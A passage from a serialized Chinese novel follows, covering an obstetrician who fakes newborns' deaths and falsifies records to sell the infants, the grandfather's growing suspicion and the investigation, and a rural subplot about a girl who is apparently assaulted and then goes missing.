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看,自己租这个一室一厅的房子名义上是图上班近,真正的目的还不是为自己实施这不可告人的计划方便吗?现在丈夫和儿子不在身边,在这个仅50多平米的房间,孤独的周淑敏第一次感到害怕和孤单。自己这是何苦?
就这样在自责中周淑敏洗漱完了,她把手机放在头跟前,准备和衣而睡,休息一会儿,因为后半夜还有重要的事要办。
孩子好像又哭了,她起身去了房间,孩子并没有哭,仍在熟睡中。做为二十多年的经验,凭她的医术,只要给孩子足够的营养,让他感到舒服,他是不会哭闹的,看着熟睡的孩子她放心的轻轻的出了房间。
周淑敏正准备休息,又担心万一抱婴儿的人来了,她没准备好咋办?想到这她从写字台的柜子里面拿出一个绿颜色的旅行包,好长时间都没有用了,落了不少灰尘,应该擦洗擦洗了。就是这个50公分的长30多公分的宽的旅行包,便是周淑敏捞取外快的工具。
她把旅行包拿到卫生间擦了个干净,然后整整齐齐的放在客厅,又看了看放在包里带拉链的襁褓,放心的坐在沙发上。
该问问是什么情况了。
周淑敏拿起手机拨了起来:“喂,老南,现到哪了?多长时间能到“?
说着话她看到挂钟的时间指向12点38分。
“大概1个半小时,放心”,那头传来一个河南口音的女人声:“周姐你那准备好了”?
“”东西带着没?
“你放心,按你说的带着哩”,
“快到飞龙小区门口时给我打电话”。
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第35章 弄虚作假掩耳目,催促出院为省心
“啊!你说什么?意外状况”?胜男爸爸大吃一惊!
23日早,胜男爸爸送完孙女到学校后,匆匆忙忙来到医院,为的是和周主任昨天的约好的今天安排见孩子一面。
进到医院廊道看见站在病房外的妻子告诉他,孩子出现“意外状况”的消息。他一阵惊讶:“让我问问是咋回事?”说着直接向周淑敏的办公室走去,妻子想拦都拦不住,只好跟在后面。
“对的,孩子昨天晚上出现了突发的意外的状况,这是事实”。
在周淑敏的办公室里,周淑敏看到胜男爸爸的惊讶神态,却一脸平静的说,“我也没想到昨晚会发生那样的事,早上一上班就通知家属了,家属没告诉你什么情?让你们白跑一趟”。
胜男爸爸疑惑了一阵,问:“我一没见家属,二为我孙子不存在白跑不白跑,就是你刚说的突发的意外状况指的是…”?在他的意识中,意外状况意味着夭折,当这个两个字瞬间在闪现在自己的脑海里时,他深感惊讶。说到这,胜男爸爸不敢往下说了,他担心自己说出那两个字是对孩子的诅咒,当爷爷的咋都不会去说那两个字,或许自己想的太悲观,万一理解有偏差呢?
想到这儿胜男爸爸说:“周主任,你看咱们也都是熟人了,你也别藏着掖着,我是个粗人,也没读几天书,你直接告诉我孩子现在是啥情况就行了”?
说完急切的望着周淑敏。
周淑敏看了一眼刚进门胜男妈妈:“赵嫂,你儿子没告诉你”?
胜男妈妈看了丈夫一眼问周主任:“我也不太明白,他说你说有状况,那现在仍在治疗中吗”?
“既然你俩都不明白,那我就明说了吧”,周淑敏起身离开办公桌走到门口掩上门,从旁边的文件柜里拿出一个文件夹,打开后小声说:“都是熟人,那我就把不允许公开的病历说给你,根据昨晚的病情记录,孩子在昨晚11点45分出现呼吸急促,心肺衰竭症状,通过电击、刺激神经、人工呼吸、上呼吸机等各种施救方法,于凌晨两点三十五分停止了呼吸”…
说到这,周主任不再说了,她看着胜男父母的反应。
瞬间三个人的沉默,气氛凝重起来。
胜男爸爸这下明白了,他点了点头自言自语:“我明白了,明白了,你不说我知道了”。
胜男爸爸一下子瘫坐在椅子上,他大口大口的喘着气,脑子里一片空白,他手扶在腿上,腿在微微的发颤,自己最担心的事情还是真实的发生了。
看着胜男妈妈在一旁轻轻拍打着丈夫的后背,周淑敏心想,自己的目的达到了,这下他俩口可就不再追究见没见孩子的话题了。
她合上文件夹,又放回原处,“唉,我昨天就告诉你们孩子是先天性疾病,赵哥还问我是先天什么疾病,你可能不知道,有些细查体检的结果慢,当我知道时也迟了,先天性肺心病。就是这么个情况,今天想见孩子,没办法了,我昨天还答应你,今天早晨来见孩子,谁想到是这种结局?目前我也没有给产妇摊开说,担心接受不了。这都是熟人,才把实情告诉你”。
正在给胜男爸爸抚摸背部的胜男妈妈说,“儿子光说大夫说娃还在发烧,他爸昨天晚上一晚上几乎都没睡觉,他老觉得心神不宁的,一大清早就来到医院,为的就是想见孩子一面,现在我们到了这里,却见不了孩
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子,人在病面前谁也扛不过病”。
“周主任,你看咱们都是熟人,既然我们从昨晚等到现在了,你能不能想想办法,让我见见孩子最后一面?也算是个告别,好歹是一条生命哩”。圣男爸爸小声的问道。
“赵哥你都是明白人嘛,现在你在哪见啊?你想见什么”?周淑敏坐在办公桌前:“我不是刚才说的很清楚吗?医院已经处理了,昨天晚上我也没在现场,作为医院,这些东西是不保留的,我们也没有办法,你想见啥都没有了”。
周淑敏无奈的摇了摇头:“没办法”。
听了她的话胜男爸爸无望的低下了头。
周淑敏向办公室门外看了看,站了三四个孕妇,她扭过头,对胜男妈妈说:“赵嫂,这事实在不好意思,等我的病人你看他们都在外面等着呢,情况就是这么个情况,我要接诊了,来,下一位”。
胜男妈妈明白周医生的意思,“行行行,我们明白,好的好的,那你先忙”。
胜男妈妈拉起老公的手:“咱们走,让周大夫忙吧?
胜男爸爸站起身来,极不情愿的往外走,忽然,他回过头,又问:“周大夫,周大夫,我想问一下,你说难道一点东西都没留”?
周淑敏抬起头严肃的说:“赵哥,这个问题我真的没法回答你了,我已经跟你说的很明白了,你现在想看在哪看?看什么?啥都没有了啊。况且医院有医院的处理规定的,知道不”?
胜男爸爸愣了半天,然后小声说:“那没办法,就算了,麻烦你了给你添麻烦了”,说着就和爱人出了办公室。
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第36章 调查组逐个问话,约情人商量对策
下午三点整,赵贵卫赶到了沈莎莎订的棉麻宾馆的214房间,半个月没有见面了,两个人一见面就你恩我爱,相互缠绵、一番云里雾里,畅享人间妙事,折腾得两个人精疲力竭。
躺在床上赵贵卫捧着沈莎莎的脸问:“你今天匆匆叫我来,有什么重要的事吗”?
沈莎莎哭丧着脸:“咱俩可能见不了面了,我可能要被他们抓进去的,你说我该咋办呀”?
赵贵卫把沈莎莎抱在怀里说:“别急,慢慢说,什么事让我听听”?
沈莎莎认真的问:“你真的不知道还是在这装不知道,这么大的事,你还不知道吗”?
赵国文瞬间明白了:“啊啊啊啊”。连连啊了几声说:“噢,我知道了,是调查组进你们医院的事是吗”?
“你知道还问我”?
“他们来了,与你有啥关系”?
“有啥关系?这次全部从上到下,挨个挨个找着谈话呢,你说咋能跟我没关系呢”?
“你又没和那个周什么在一块工作过?你怕什么”?
“几年前,我和她是在一个科室的,她就有给孩子改病历的情况,我是知道的”。
听到这话,赵贵卫突然一惊,他从被窝爬了起来,从公文包里拿出一包中华烟,拿出一根点燃:“你是不是参与修改病历或者是搞什么见不得人的什么名堂呢”?
“我哪有那个胆啊,借我100个胆,我都不敢干的事,那毕竟是犯罪的事”。
“亏你还是个明白人,人长的漂亮,心里也清楚,说明我没白喜欢你”。
“你少给我贫嘴,我就是和你商量一下,下来我怎么办”?
“什么怎么办?你又没参与,办什么办”?
“调查组工作人员中午是第三次找我谈话了,问了许许多多我都不知道的问题”。
“你是真不知道还是假不知道”。
“我真的不知道”。
“我在总务科都干了多长时间了?离开产科也多长时间了,但是周主任她一直在那干着呀,而且那个岗位她一直也没有离开过”。
“既然你没参与就没有必要担心,她的事跟你没有啥关系,因为你啥都不知道,对不”?赵贵卫边弹着烟灰边问。
“有次说我写的结论有问题,不应是正常,说她重新检查了,让我写成异常,括号内写先天性脑膜炎”。
“那你就是参与了”?
还没等她说完,斜躺在床边的赵贵卫一骨碌坐起急忙问。
“你听我说完,着什么急,看把你吓的”。沈莎莎坐了起来靠在床头接着说:“当时马上下班了,我说下午改一下,下午上班后,她安排我管理其他床位说那个孩子中午死了,已经被处理了。我也没在意那事,毕竟在我那科室死婴儿的事经常发生”。
“吓我一跳”,赵贵卫把烟头在烟缸里掐灭:“没参与就行,我还以为你按人家说的改了哩”。说完赵贵卫又钻进了被窝抱着沈莎莎靠在床头上。
“还有吗?”赵贵卫问。
在我调离产科前,我值夜班在门背后换温度计,周姐把新来轩丽叫进来了,她不知道我在,周姐对轩丽小声说:前天8床那个家属再问孩子你就已死了,院里已做处理,顺便把记录改成先天性心脏病,赶紧趁没人去改一下,千万别让别人知道,这是为咱科室考虑的,记住”。
“那个谁改了没”?赵贵卫忙问。<
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“改了,我在门缝看见她俩在护士站周姐小声说,丽轩在写。后来我偷看了一下,根本看不出破绽”。
“她们没发现你”?
“没有,改完后她俩都进周姐办公室了,我趁机坐到了值班处”。
“这是一条线索,你一说就成事了”。赵贵卫若有所思的说:“你给调查组说了没有”?
“我就是不知道该说不该说,没主意才来问你的,该咋办”?沈莎莎将脸贴在赵贵卫的胸前。
“这次动静太大,网上一直炒做,知道的说,不知道的就别乱说,到时不提让你改病历的事,只说轩丽的事”。
“那不是背后说人坏话吗”?沈莎莎你脸离开贵卫的胸,坐了起来望着贵卫。
“你看起来这么漂亮的,现在还有这么善良的心”?赵贵卫拉着她的手说:“咱现在是保咱自己,如实说事实,不代表个人任何观点,你认知有待提升”。说着顺便拍了拍她的手。
“那你说这事能说”?
“能说,她让你改病历的事就别说了,以免引火烧身”。
“知道了,有你给我出主意,我就知道咋说了”。沈莎莎说完放松的又躺了下去。
“你那个周什么主任,是不是让调查组给带走了”?
“25号来的人直接把人就带走了,28号孩子就被抱回来了,不知道现在在什么地方呆着”?
“你想知道他呆在那什么地方,是要搞串供吗”?贵卫开玩笑问。
“不是不是不是”,沈莎莎连忙摇头说:“我是说现在还挺可怜的,肯定就没有自由了嘛”?
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第37章 深夜交易赴远程,家属细心觉蹊跷
昨天夜里折腾了一夜,一直没有睡好胜男爸爸,今天晚上还是睡不着,又是辗转难眠。
他想不明白的是,爱人通过熟人找到的这个周主任,人看起来很是热情,而且对儿媳生孩子的事非常的上心,但胜男爸爸觉得,自从这两天和她接触以后,他觉得这个周主任的眼神里面,好像藏着一些什么要被人知道的东西。
胜男爸爸又起了床,轻轻的开了门,站在院子里,他从口袋里拿出一根烟抽了起来,他在想,周主任昨天晚上答应我们今天早上见孩子,但是今天早上当我们去了以后,周主任又告诉我们说昨天晚上孩子有突发情况,是什么先天性的心肺病?孩子夭折了,没法见到孩子的面了。
既然孩子已经夭折了,那我们见见孩子最后一面,也应该可以啊,至少我知道我的孙子是个什么样子,心里好歹也有掌握个分寸。
但周主任说孩子已经被医院按规定处理了,话说难听一点,活要见人,死要见尸,我们明明没有见到孩子啊,你们医院有什么权利自行做主处理,我们的孩子呢?
而且儿媳妇来蓉还在医院,没住上两天,又被催着出了院,从昨天早晨孩子的出生,到今天他们说把孩子处理掉了,我们全家人没有一个人能见到孩子。
胜男爸爸越想越奇怪,就按常规道理想的话,你医院要处理一个孩子,肯定是要和家属通气的嘛,一个新生的婴儿,那就是一条鲜活的生命啊,既是这条鲜活的生命不能挽留,无法挽救,从人道主义出发,你也应该让家属见孩子最后一面。
制度是制度,规定是规定,至少的制度和规定的建立不能缺少人性啊,更不能没有人情味啊。医院的本质不就是救死扶伤,以人为本吗?为什么我的孙子我连面都没有见,你们就自行做主给我处理掉了?
胜男爸爸抽了一口烟,这个孩子可是我们家的第一个男孩,我知道他在我们家的分量有多重。
想当初儿媳怀孕的时候,胜男妈妈付出了多少的艰辛和劳作,为的就是让我们赵家的希望,有一个男孩出生,毕竟上几辈都是单传啊。
现在孩子出生了,医院却又告知我们孩子夭折了,难不成真的我们家庭做了什么亏心的事?老天爷是在惩罚我们吗?
不应该啊,我们全家人老老少少都是老实本分,勤勤恳恳的安安稳稳的本分人呢?难道老天爷就真的这么不公平吗?难道我们赵家就真的在这里绝后了吗?
胜男爸爸在院子里慢慢地走来走去,他一直思考着,从昨天生孩子到今天的每一个细节,没有见到孩子,是他心里最过不去的一个坎。
晚上和老婆聊天的时候还说到是不是把我的孙子拐卖了?想到这,胜男爸爸突然想起来,我为什么不去医院找医院,让他们给我个说法呢?你至少要尊重我们的人权啊,不管人的大与小,无论是婴儿还是老人,你们医院再权力大,也无权剥夺我们婴儿的生命啊,虽然说他患有疾病,你们也无法挽救,但你们也必须让我们家属看一下,为什么不通知我们家属呢?这是一条不合乎常规的举动
想到这,他突然有了主意。
就在胜男爸爸在院子里转来转去,抽着烟思考这些事情的来龙去脉的时候,从医院匆匆忙忙开着车往家里赶的周淑敏,正在和一个河南口音的女人通着电话。
“周姐,你还是那辆白
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色的小轿车吗”?河南口音的女人问周淑敏。
“还是那辆白颜色的车,我马上就到家了,我拿完东西马上就过来”。
周淑敏挂完电话,进了小区以后,匆匆忙忙下车向出租房里走去。
为了今天晚上的计划实施,周淑敏专门换成了平底鞋,为的就是后半夜的走路声,不引起别人的注意。
开了门,她没有换鞋,直接走进小房间里,当看到躺在床上的小婴儿还在香甜的睡觉的神态时,心里松了一口气,好宝贝儿,只要你没哭,我就放心了。
从房间出来,她的眼睛盯着那只绿色的旅行包,从里面襁褓拿出来,又折返到房间,然后把婴儿轻轻的抱起,又轻轻的放进襁褓里,拉上拉链,再把襁褓放进那个绿色的旅行包里。
旅行包的拉链套并没有拉上,为的是给孩子透气,以免有意外发生。
她又在房间四处瞅了瞅,当她的眼睛落到房间的挂钟时,2点05分,看来今天他们来的还比较快,当确认再没有任何的顾虑以后,她提起那个绿色的旅行包,轻轻的关上门,走出了单元房。
其实每一次当她提着绿色的旅行包从家里往出走的时候,心里都是七上八下的,因为在漆黑的夜里,在凌晨的后半夜,稍微有个风吹草动,都会惊动邻居的,而自己每一次都是往旅行包放的是孩子,提在手上,最担心的是给孩子打的针不起作用,万一孩子哭了起来,对她来说就是最致命的危险。
很幸运,几次都是在夜里实施自己的计划,但都从来没有出现过他心里想的那种情景。
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第38章 医院处处碰壁,主任亲自送证明
7月24号一大早,胜男爸爸在医院没上班之前就赶到了医院,他直接来在了医院的行政楼,在二楼的尽头,他看到了挂有院长牌子的办公室。
“一会儿上班了,院长就会来的”胜男爸爸想着就站在院长的办公室的门口等。
人们陆陆续续来上班了,看见站在院长门口的胜男爸爸,每个上班的人都感觉到很奇怪,用疑惑的眼神看着他
胜男爸爸,他没有觉得什么不好意思的,他没有任何目的,他就是想来问问院长,如果婴儿在医院里出现夭折的情况,一是院里会不会通知孩子的家属?二是医院里有没有处置的权利?三医院里会不会给家属出具文字性的东西?
很简单的几条,胜男爸爸早已捋顺清楚。
胜男爸爸在楼道里刚抽起了烟,两名穿着保安服的人走了过来,“哎,把烟灭掉,这里不允许抽烟”。
胜男爸爸赶快把烟头掐灭,笑着说:“对不起,对不起。”
一名保安看了他一眼,“你站这干啥哩”?
胜男爸爸笑着说,“我是来找院长的”。
“找院长,找哪个院长?”
“就是院长啊”。
“你和他有预约吗”?
“预约啥预约”?
另一名保安说:“就是说你提前和院长说好,有没有说好”?
“哦,那倒没有”。
“没有就不行,你要预约以后和院长才能见面”,另一名保安说:“院长今天不在,你你有什么事?可以去医院办公室”。
“啊,我就是和院长想问院长一点事,我们中间的一点私事”。
“你们不在外面说私事,你跑到医院来干什么?这是办公的地方,说公事的地方“。
说完两名保安相互看了一眼,带有笑意。
“如果是私事,那请你和我们院长联系,你们在外面去说这里是办公的地方”。
“不是不是,我就是想见一见院长的面,问问他几个问题”
“你是干什么的”?
“我是患者的家属啊”。
“哪个科室的患者家属”?
“妇产科”。
“妇产科?妇产科?那你有什么事,你去妇产科问吧,这是行政楼,来这干什么?你找错地方了”。
“不不不,我没找错地方,就是想问问院长,见一下他”。
“你的面子还不小呢,还要直接找院长,我不是告诉你的吗?院长不在,你和他约好改天再来吧”。
胜男爸爸知道,自己也是做保安的,知道这些保安口里说的都不是实话。
他突然意识到自己今天好像来的有点冒失,不应该在上班之前就来到院长的办公室门前,现在肯定有人给院长通风报信了,说有人在等他,这会儿肯定是等不到院长了。
胜男爸爸笑了笑问:“你们说院长今天不来了,那我有事应该找谁啊”?
两名保安犹豫了一下,相互看了一眼,其中一个说:“要不让他去院办公室吧”?说完看了另一名保安。
“也行,那你去办公室问问”。另一名保安附和着。
“那医办在哪”胜男爸爸问。
保安给他指了指向右方指了指:“往前直走到头右转,第二个房间”。
“哎,好,谢谢谢谢啊”。胜男爸爸客气的向前走去。
看着这两名保安站在那里,并没有离开的意思,他只好往前走,去找医院办公室。
他找到院办
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的牌子后,站在门口,看见几个人正在聊天。他敲了敲门,一位戴着眼镜的高个子男人问他:“你找谁”?
站在门口的胜男爸爸说:“哦,我找一下办公室主任”。
高个子男人坐在办公桌前:“哦,那你进来吧”
胜男爸爸进了办公室,站在高个子小伙的办公桌前:“请问哪位是办公室主任”?
高个子男子扶了扶眼睛,说:“什么事你说吧,我就是”
“哦,是这么个情况,我孙子在咱医院的产科出生以后,嗯,那个妇产科的主任说我的孙子好像是夭折了,出现意外状况了,我就想问问咱们医院,如果新出生的婴儿死亡了,后续的具体处理流程是什么”?
当胜男爸爸说完这些问题的时候,办公室许多人都抬起头看着他,他似乎成了这里的焦点。
办公室主任没吭声,站起身来,给胜男爸爸接了一杯水,递到他面前:哦,你坐下说”。
胜男爸爸接过水坐在旁边的椅子上望着办公室主任。
办公室主任回到自己的工位,端起泡好泛黄的玻璃水杯喝了一口,然后坐了下来:“你说的这个问题,这个问题我们医院各科室有科室科室的规定”。
办公室主任晃了晃头说:“哦,你知道,咱全县就这一个医院,因为我们医院科室太多了,每个科室都有自己的处理方法,我的建议你还是到妇产科再去问一下吧,因为各科室的处理方法不同,制度都不同,我们办公室也无法回答你这个问题,好吧,你在产科问下去吧”。
“那所有的科室都是归在医院管的,医院难道没有统一的规定吗”?胜男爸爸紧跟着问
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第40章 误解原在父母处,倾诉心事悄离别
昨天在媒人的主持下,亚宁的父母才通知家属和左邻右舍,发动将近20人的寻人队伍,分头行动,经过昨天一天多的寻找,水池枯井,田间地头,山沟渠岸,凡是能寻找的地方都找了个遍,最终还是没有找到亚宁的影子。
到了晚上11点多,陆陆续续回到家的寻找人员聚在亚宁家商量出方案:一是扩大寻找范围;二是必须去派出所报案,就指派了能说会道的万军第二天报案。
今天一大早还没到上班时间,万军就提前赶到派出所门口,等到八点十几分的时候,派出所的人员才陆续到岗。
万军跟着警员进了派出所,一位民警一边开空调一边问他:“你说你是啥事”?
“我就说,哦,有一家人的孩子找不见了,现在都两天了,我来报案。”
民警放下手中的遥控器:“你等一下,我登记一下”。
民警拿出笔和纸:“你现在说”,
“我们下沟村二组的组员,李光启的女儿,李亚宁,这两天找不到人了,没有给家里人打招呼,自行离家出走都两天了,所以我来报案”。
正在登记的民警愣了一下,他抬起头,看着万问:“李亚宁?李亚宁?”民警疑惑了一会儿,说:“哦,知道了,你说吧”。
“我说啥?”
“我问你啥,你说啥”?
“失踪人的名字叫李亚宁吗”?
“对”。
“性别”?
“女”
“年龄”?
“21岁”
“家庭住址”?
“月全县,湖沟镇,下沟村二队,59号”。
“离家原因”?
“没有原因”
民警停下手中的笔说,“没有原因,我问你的意思就是问,是不是和父母吵架了?还是和别人吵架了,或者和谁有什么过节?像这些之类的原因”。
“和家人没有吵架,至于和外人,那我就说不上来了”。万军说。
“那你们家属是什么时候发现的?”
“前天下午两点到五点之间,他父母回到家以后就不见人了”
“为什么昨天不报警呢”?
“这个原因我不清楚”。
正在这时,一名神色慌张,匆匆忙忙推门而入的警员,一进门就喊,“吴所来了没有?吴所来了没有”?
正在擦桌子的民警问:“咋了”?
“出大事了,出大事了”,那位民警边往空调跟前走边说,“去省城的大轿子车翻沟里了”。
“你说什么?大轿车翻车了”?正在登记的民警扭过头问。
擦桌子的民警忙问,“你咋知道的”?
“在镇上不是有的人从省城进货吗?他们的家属刚在门口聚集去现场”。
“那咱们咋办”?抹桌子的民警问
刚进门的那个民警说,“我说头儿没来,我们先出警吧”。
“那咱们上报不”?正在登记的民警问
“咱们先出现场,看看什么情况,伤亡估计有,等吴所回来后再说”。
“我把这个案子登记完,”正在登记的民警转过头对万军说:“好,你的情况我记录下来了,你们也先继找。我们来安排一下,你先回吧”
“那还要我做什么工作”?万军问。
“你回家让家人继续寻人,至于你说的情况,我们已经知道了,我们会安排人去找人去调查落实有关情况”。
正说着话,一位女民警进来了。
“快快快,你值班,我们出现场,”空调边的
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那位名叫对刚进来的女民警说。
“什么事这么着急的”?女民警问。
“大轿子翻车了,我们得去”。
万军听到这个消息,莫名其妙的坐在那里正在发呆,登记的民警对他说,“你的情况我已经知道了,你可以走了。”
看着三个民警急急匆匆的上了夏利车,万军摇了摇头想,派出所看起来谁都管?
今天早晨心疼起了个大早,洗漱完毕就急急忙忙背起斜挎小包出了门赶镇上6点的第一趟班车。
出了门心疼才发现漆黑一片,冷得要命。
她又返回房子,给自己里面加了一件马甲。
“我的天哪,这不会是半夜吧?咋这么黑?”
心疼自言自语着走出房间。
镇政府大门还未开,心疼趴在亮着灯的门卫室玻璃前,里面雾气一片啥都看不见。
她敲了敲玻璃:“起床啦起床啦,王叔”。
“哎,来了?”里面马上传出了声音,心疼听到一串钥匙的响声。
说着话,身着黄军大衣的王叔从值班室出来了,睡眼惺忪。
心疼冻得在地上跺着脚:“王叔你再帮我看看表是几点了”?
刚出来的王叔把头伸进房门细瞅着:“5点45,5点46”。
“那就对着哩,我还担心我看错时间了,没起过这么早,这鬼天气太冷了,鼻子和脚都不知是谁的了”。
“又上县上开会”?王叔提着一串钥匙边下台阶边问:“一定要把腿穿嗳和,人冷冷腿,狗冷冷嘴哩,腿上一定要穿厚”。
“苦差事都是我的,王叔你说话还一套一套的
,能说相声”。
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第39章 女儿离家惊全村,多方寻找无音讯
媒人回到家的第二天早晨,天气异常的寒冷,他吃完饭,就要赶往亚宁的家中,因为他知道受人之托,应人事小,误人事大。
昨天在小雅爸爸那里,已经基本同意退婚这件事,不出意外的话就能成了。
对媒人来说,他今天应该第一时间把这个消息告诉女方家。毕竟谁也想不到会发生这种事,况且两亲家中间也根本没有什么隔阂和不满,相处的和一家人一样,儿女们相互来往,经常走动。
但那个禽兽不如的坏蛋何川,竟然做出伤天害理、亚宁无法抬头的丑事,一个未婚的女孩子,遭受如此大的糟践,对女孩子本人造成极大的伤害,对家里人也是极大的侮辱。
虽然亚宁家人一直在保守隐藏着这件事,但是何川被警察带走这件事,早已在这个小小的上家沟村庄里,传得家喻户晓了。
在这个小小的上家沟,任何一件小小的事情,都会成为一件大事,在这个小小的村庄迅速传开,传播的速度是相当的快,各种谣言瞬时满天飞,各种版本到处都会有。
特别是在这个冬季农闲的时候,无法下地干活的季节,一件小小的事情就会引起满村的风云,成为人们坐在一起闲聊唠嗑的谈资。
媒人趁早出发就是为了躲避这些唾沫星子乱溅的村民。
他把自行车推在门口,妻子在后面大喊:“你不要命了吗?这天冻地寒的,你骑自行车,不小心摔着你吗”?
媒人看着地上还未解冻的路,就把车子推进了大门,“那我还是慢慢的走着锻炼去吧,发挥我爱走路的特长。噢,对了,中午可能回不来了,你中午不用等我,我中午就在亚宁家吃饭”。
“自己有家哩,整天把嘴放在别人家里吃饭?”妻子埋怨道。
“谁叫我就长了一副在别人家吃饭的嘴呀”,媒人笑着对妻子说。
“路上滑,注意点”。
“知道了”。
媒人裹紧了身上的棉衣,缓缓踏上冰冻的山路。寒风呼啸而过,刮得脸生疼,他却毫不在意,心里只想着尽快赶到亚宁家。
一路上,看到村民们围坐在一起,眼神时不时往他这边瞟,还窃窃私语,他知道肯定又是在议论亚宁的事,这些人真是闲得无聊。媒人无奈地摇了摇头,加快了脚步。
好不容易到了亚宁家,大门没关,他轻轻敲了敲门就进去了。
媒人进了大门,在院子大喊:“屋里有人吗”?
亚宁妈妈掀开门帘出来了,眼睛红红的,显然是刚哭过。看到媒人来了,勉强挤出一丝笑容。
“他叔,您来了。”
正在另一房间的亚宁爸被亚宁妈喊了出来:“她爸,她叔来了”。
满脸疲惫的亚宁父亲黑着脸出来了:“老三来了”。
“你在干啥哩”?媒人问。
“没事,整理房子哩”。亚宁父亲说。
“这离过年还早着呢,你这爱好人就提前收拾了,准备过年呀?”媒人开着玩笑。
亚宁爸爸看了妻子一眼,两人都没有吭声。
三个人进了房间,亚宁妈妈给媒人倒水,丈夫和媒人围着火炉坐了下来。
“你俩口是不是有啥事?如果不方便我就不坐了”。媒人想到刚进门时亚宁妈哭红的眼睛。
“没啥事,你坐你坐”。亚宁妈妈小声说
“娃还没起来吗”?媒人边往外掏烟边问。
亚宁的父母都不吭声,相互望着。
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“你们这是咋了?咋不说话”?
亚宁妈看了丈夫一眼,对媒人说,“他叔,你也是咱自己人,我也不瞒你,我正为这事发熬煎哩。从昨天到现在一直没见亚宁的面,我们都急死了”。
媒人一惊,大声问:“那你俩还在家里愣着干什么?还不发动人赶快去找娃”?
“你来的时候他爸不是在亚宁的房间,看能找到什么信呀,或者什么之类的东西,寻人也好有个方向”。
“找到了啥”?
“昨晚翻到早上,啥也没找到”。亚宁爸爸小声说:“我们都快急疯了”。
“你找那些东西有什么用,现在我们当下要解决的问题是赶紧找到孩子”!媒人把正抽的烟一扔,大声说。
亚宁爸爸停了停说,“娃前面出了事,现在又不见了,担心说出去村里人笑话我们,所以我俩商量暂时不吭声,看今天孩子能回来不”?
“从昨天下午到现在,一直都没见到人,你们两个还真沉得住气,这都多长时间了?还顾及什么面子不面子的,赶快发动亲戚邻居找人“!媒人以命令的口气对亚宁的父母说。
亚宁父母似乎不在乎媒人的命令口气。
“那万一亚宁今天再回来了,咱们不是又让人闹出笑话了吗”?亚宁妈小声说着。
“那万一再不回来怎么办?继续等嘛,亏你俩还给亚宁当父母!我就不明白,让你们一直守着孩子,守着孩子,再三叮咛你要随时关心孩子动向,最担心的事就是害怕娃有啥想不通出啥事,果不其然,还是按我预料的结果来了,现在咱们啥都不说,赶快发动人找孩子”!媒人生气了。
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第41章 闺蜜遭受凌辱,发小分道扬镳
在招待所308等待的张志奎,一看时间都九点多了,还没有一个人来这里,他便起身下列二楼,往206室走去
刚进了206,就被女朋友心疼扇了两个耳刮子,张志奎一阵蒙圈,不明就里。
心疼揪住他的耳朵,说“你真笨,你是猪啊,亚宁被你那渣男的朋友欺负了”!
张志奎这下子忽然明白了什么,他愣了一下,问他人呢?
心疼说下楼了。
张志奎急忙转过身向楼下奔去。
心疼本来要把对何川的怨气全部撒在男朋友张志奎的身上,一直没有吭声的亚宁突然大声喊了一句,“你们别吵了,你不要责怪志奎了”!
心疼被亚宁的这句大喊声惊了一下,转过身,愣了一会儿,走向亚宁的床边,坐了下来。
“你没有啥事吧?”
亚宁慢慢的从床上坐了起来,说:“没事,”说着眼泪又流了出来。
心疼用手轻拍着她的背部说,“对不起,都是我不好,我让你受委屈了”。
“与你没关系,是我不好”,亚宁边擦眼泪边说。
两人都沉默了,不说话了。
心疼想问亚宁的具体经过,但是一看到满脸流泪的亚宁,又把话咽了回去。
“要不我们今天回家吧”?亚宁小声问着心疼。
“回家?心疼捋着亚宁的头发说,“这事就这么过去了?”
亚宁低下头不吭声了。
心疼停了好长时间,终于鼓足勇气问亚宁:“你怎么和他在一个房间了?他是个男的呀”。
低着头的亚宁的眼泪滴在了被子上,心疼递过一张纸,亚宁擦着眼泪就是不吭声。
“他昨天晚上一晚上没回去吗?他不是孝志奎的宿舍住了吗?你们怎么在一个房间啊”?看着沉默不语的亚宁,心疼脑海里许多的不解和问题,一股脑儿都被抛出。
亚宁一直小声地抽泣着,就是不吭声。
看着不吭声的亚宁,心疼无可奈何的站起身来,“你只知道哭哭哭,哭能解决什么问题吗?他到底欺负没欺负你,你倒说话呀”?
亚宁还是不吭声
“问啥你都不答应,好了好了,我不问了,你现在先起床把脸一洗牙一刷”。心疼说。
亚宁坐在床上并没有动。
“你看你那么漂亮的脸蛋,今天都成啥了?听话,快起来,先洗洗脸刷刷牙哈”。心疼哄小孩般的哄着她,说着就用手去拉坐在床上的亚宁。
心疼又把亚宁的鞋子放在她跟前,亚宁穿上鞋子,又坐在了床边,目光呆滞的盯着对面的床。
顺着亚宁的目光望去,心疼看见对面的床单上有几滴红色的血。
心疼,突然意识到了什么不好,她又慢慢地转过头,望了望亚宁的床上,果然,她看到了亚宁躺过的床上,上面有小滩血。
看到这些的心疼,心都碎了,作为一个女孩,作为一个和男朋友有过鱼水之欢经历的女孩,好像明白了昨天晚上何川和亚宁发生的事被血迹证实了。
但这种难以启齿的事,对于再好的闺蜜,如果要问的话,也不知如何开口是好。
心疼没有吭声,站起身从脸盆架子上拿起脸盆,向水房走去。
心疼把打好的水端来放在脸盆架上,从桌子上拿来电壶,往脸盆里兑了一点热水,用手试了一下温度,然后又把毛巾搭在脸盆旁边,走到亚宁跟前说:“洗洗脸吧,洗完脸再说吧”。
其实这时候心里最难受的还
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是心疼,是她带着闺蜜来县城见男朋友的,昨天晚上她和男朋友住在308室,给亚宁一个人开了206,让她住在这里,没想到发生这样的事情,这对于一个未婚的女孩子来说,是一辈子的伤痛,一辈子心里过不去的坎呀!
我怎么对亚宁的父母交代?亚宁又如何面对和她已经订婚的何武呢?
心疼知道,在他们那个农村,像这种男女之间的事,村民们知道以后,会把这件事传的沸沸扬扬,搞得满城风雨,人人皆知。
看着弯下腰正在洗脸的亚宁,心疼一直在思考着下一步该怎么办?下一步该怎么办?
当心疼的目光落到对面床上的血渍时,有了一个大胆的想法,虽然这个想法瞬间产生,但是这些都是自己靠自己看到的,和想到的分析的。
事发到现在,亚宁没说一句什么话,那么真相究竟是个什么样子?
看着亚宁洗漱完毕后,心疼急急忙忙走到脸盆架前,端起架子上的脸盆就去水池房倒水。
心疼从水池房回到房间,刚一进门,亚宁忽然说话了,对心疼说:“你不用在这里陪我了,你和志奎去爬山玩吧,实在不好意思,让我把你们耽误了”。
心疼一边放盆子一边说:“你心可真大,出了这么大的事儿,你还让我们去爬山,我们有心情去吗”?
“对不起,都怪我不好,耽误你们了”,亚宁坐在床边,低着头,小声的说宁。
“你这今天左一个对不起,右一个对不起,你今天咋对我这么客气的?一再对不起,我就不和你说了,我们既然是朋友,我既然把能你叫过来,就必须有难同当,有福同享,知道吗”?
